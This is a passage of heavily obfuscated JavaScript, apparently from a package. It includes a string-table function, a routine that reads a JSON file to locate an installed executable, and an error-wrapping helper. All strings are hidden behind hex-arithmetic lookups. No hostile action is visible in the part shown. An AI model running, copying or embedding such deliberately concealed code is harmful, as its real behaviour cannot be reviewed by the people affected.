)*-(-0x980+-0x6*-0x5bf+0x3*-0x853))*-(-0x2*-0xd37+0x4*-0x382+0x6*0x189+(-0x1609+-0x1*0x233a+0x3944)*(0x2*-0x1433+0x10ab+-0xc7*-0x43)+-(0x53*0x73+0x783+-0x2ccb)*(-0x45a*-0xb+-0x34b6+0x3697))+(-(0x15d7+-0x3*0xb97+0x1d9*0x7)*(-0x6*-0x101+0x20d+-0x62*0x2)+(0x1*0x1145+-0x2481+0x141b)*-(0x1*0x106c+0x902+-0x53*0x4e)+-(-0xabd*-0x2+-0x9bb+-0x83a)*-(0x1*-0x1059+0xc00+-0x1*-0x464))*-(0x347c+0x34f2+0x2*-0x261a+-(0x1*-0x1eef+-0x2*0x11c2+-0x4297*-0x1)*-(0x1a01+0x28d+0x59*-0x51)+(-0x1992+0x4e*-0x4d+0x36d7)*-(0x1eb*0x5+-0xc52+-0x1*-0x2c2))+(-(-0x46b+-0x2c3*0xe+0x2cbb)+(-0x1abd+0x22+0x1bc6)+(0x1301*0x2+-0x884*0x3+-0x13*0x8b)*(-0xa7b+-0x1ae0+0x255e)))throw new Error(_0x3f77b4(-0x127e+-0x7c7+0xf*0x20f+-(-0x1*-0x1cdb+0x121*-0x4+-0x1838)*(-0x281+-0x494*0x4+0xadd*0x2)+(0xd21*-0x2+0x2094+-0x55b)*(-0x1374*0x1+0x3*-0x49e+0x1*0x2168)));return resolve(_0x568b2c,_0x4dfe5a[-(-(-0x16*-0x20f+-0xa31+0xda*-0x5)+(-0xa2e+-0x5*0x585+0x25cb)*-(-0x57a*0x2+-0x277*-0xe+-0x4*0x455)+(0x4f7b+-0xd*0x1+-0x4*0x13a))+-(-(0x8b*-0x47+-0x2*-0xaa8+0x206b*0x1)+-(0x170b+-0x2050+-0x246a*-0x1)+(0xfa6+-0xfd1+-0x1*-0x305f))+(-(0xadd+0x1f*-0x1df+0x55f0)+(-0x14e8+-0x274d+0x5aa6)+(-0xd1c+-0xb60+0x190b)*(-0x1*-0x23ef+0x1aa7+-0x3e87))*((-0x5ab+-0x184*-0x9+0x6*0x47)*(-0x9ee*0x2+0x1834+-0xde*0x5)+(-0x354a*0x1+-0x6*0x251+0x6426)+-(0x35f*-0x1+0xee2+0x15*-0x8b)*(-0x1a09+-0x256a*0x1+0x412b))]);}function _0x5d37(){const _0x54050f=_0xfd32,_0x2ee5a9=[_0x54050f(0x225),_0x54050f(0x1d0),_0x54050f(0x218),_0x54050f(0x1d1),_0x54050f(0x1d8),_0x54050f(0x217),_0x54050f(0x1ca),_0x54050f(0x1ef),_0x54050f(0x21e),_0x54050f(0x1ee),_0x54050f(0x1b9),_0x54050f(0x219),_0x54050f(0x1f4),_0x54050f(0x202),_0x54050f(0x1c3),_0x54050f(0x1e7),_0x54050f(0x1df),_0x54050f(0x1f1),_0x54050f(0x1ba),_0x54050f(0x1da),_0x54050f(0x1cc),_0x54050f(0x1bd),_0x54050f(0x1c2),_0x54050f(0x21c),_0x54050f(0x1ec),_0x54050f(0x1d2),_0x54050f(0x1e5),_0x54050f(0x203),_0x54050f(0x1db),_0x54050f(0x226),_0x54050f(0x214),_0x54050f(0x210),_0x54050f(0x1c8),_0x54050f(0x1fc),_0x54050f(0x1e9),_0x54050f(0x1f7),_0x54050f(0x21d),_0x54050f(0x1e1),_0x54050f(0x1bf),_0x54050f(0x1e4),_0x54050f(0x1cb),_0x54050f(0x1c5),_0x54050f(0x1c1),_0x54050f(0x20d),_0x54050f(0x200),_0x54050f(0x1f5),_0x54050f(0x1b4),_0x54050f(0x227),_0x54050f(0x205),_0x54050f(0x1ed),_0x54050f(0x1c9),_0x54050f(0x221),_0x54050f(0x208),_0x54050f(0x1d4),_0x54050f(0x20e),_0x54050f(0x1e2),_0x54050f(0x1fb),_0x54050f(0x1bc),_0x54050f(0x201),_0x54050f(0x22b),_0x54050f(0x1f2),_0x54050f(0x1f0),_0x54050f(0x20b),_0x54050f(0x1fd),_0x54050f(0x1e6),_0x54050f(0x20a),_0x54050f(0x1d7),_0x54050f(0x223),_0x54050f(0x224),_0x54050f(0x1bb),_0x54050f(0x222),_0x54050f(0x20c),_0x54050f(0x1cd),_0x54050f(0x220),_0x54050f(0x1d6),_0x54050f(0x1c4),_0x54050f(0x1f6),_0x54050f(0x1d9),_0x54050f(0x206),_0x54050f(0x212),_0x54050f(0x213),_0x54050f(0x1d3),_0x54050f(0x1c7),_0x54050f(0x211),_0x54050f(0x216),_0x54050f(0x1b7),_0x54050f(0x1ea),_0x54050f(0x1b8),_0x54050f(0x204),_0x54050f(0x1dc),_0x54050f(0x207),_0x54050f(0x1f8),_0x54050f(0x1de),_0x54050f(0x1d5),_0x54050f(0x1e8),_0x54050f(0x215),_0x54050f(0x1ce),_0x54050f(0x1b6),_0x54050f(0x228)];return _0x5d37=function(){return _0x2ee5a9;},_0x5d37();}async function installedExecutable(_0x2213cb,_0xe73468){const _0x2502af=_0x5807d3;try{const _0x5acd68=JSON[_0x2502af(-(0x5ca+0x19dd+0x1*-0xe9d)+-(-0x1*0x1511+0x779*-0x2+0x3f43)+(0x1*-0x256d+0xb6c+-0x23fe*-0x2))](await readFile(_0x2213cb,_0x2502af((0xf67*0x1+-0x10c9*0x2+0x122c)*(-0x2518+0x18d8+0x11ca)+(0x339+-0x3b*-0x53+-0x2*0xa1a)*-(0x19f0+-0x193b+-0xad)+(-0x295*0x3+-0xf7*0x1+-0x233*-0xa))));if(_0x5acd68[_0x2502af((-0x46*-0x1c+0x856+-0x6*0x2a9)*-(-0x6b6+-0xdeb+0xc*0x200)+(0x450+0x1dc3+-0x5a*0x60)*(0x3*-0x411+0x5f7+0x1*0x653)+-(-0x1da0+0x1*-0x21ce+-0xbbf*-0x6)*-(-0x145*0xd+0x481+0x7b*0x19))]!==_0xe73468||typeof _0x5acd68[_0x2502af(-(-0x12e*0xe+-0xd9b+0x15d*0x17)+-(0x1741*0x1+-0xdf0+-0x938)*(-0x10d*-0x23+0xe1*-0x17+-0x2d*0x57)+(0x47*0x57+0xda9+0x45*-0x8b)*(-0xed1+-0xb9*0x33+0x3417))]!==_0x2502af(-0x4*0x8ad+-0xb07+0x3b39+-(0xeea+-0x81c+-0x577)*(-0x17a0*-0x1+0x5*0x1f1+-0x2149*0x1)+(0x1230+0x244e*-0x1+-0x164c*-0x1)))return undefined;return resolve(dirname(_0x2213cb),'.'+_0x5acd68[_0x2502af(-(-0x140*0x8+0x142f+-0x8a5*0x1)*-(-0x1707+0x992+-0xd81*-0x1)+-(-0xc21*0x3+0xc*-0x5a+0x134*0x30)+-(-0xd98+-0x1*-0x7cf+-0x1ee*-0x3)*-(-0x6a*0x24+0x2692+-0x1745))]);}catch{return undefined;}}function packageError(_0x18d6dc){const _0x80c98c=_0x5807d3,_0x1de33f=_0x18d6dc instanceof Error?_0x18d6dc[_0x80c98c(-(-0x1*0x1529+0x11ff+-0xd*-0xd9)*(0x4d5+0x53*-0x2b+0x91e)+(0x1ede*0x1+0x427+-0x2302)*-(-0x1cad*-0x1+-0x4*-0x182+-0x210d)+(0x195*-0x12+0x38b*0x5+0xc40)*(0x2b3*-0x1+0x1*0x1712+-0x14*0x104))]:'';if(_0x1de33f[_0x80c98c((0x9d7+-0x1*-0x1dff+-0x26a1)*(-0x2b1+0xcb8*0x2+-0x16a7)+-(-0x305*0x8+0x1556+0x980)+-(0xe56*-0x1+-0x1*-0x23c9+-0xc8))](_0x80c98c(-0x4c*0x30+0x2700+-0xb04+-(-0x837+0x969+0x175c)+(-0x1f1b+0x814*-0x4+0x4bbd))))return new Error(_0x1de33f);return new Error(_0x80c98c(-(-0x4df+0x2065+-0x1833)+-(-0x572*-0x4+0x10*-0xcd+-0x843)*-(-0x243*-0x1+-0x2*-0xada+-0x17e2)+-(-0x17c4+0x181b+-0x989*-0x1)));}
|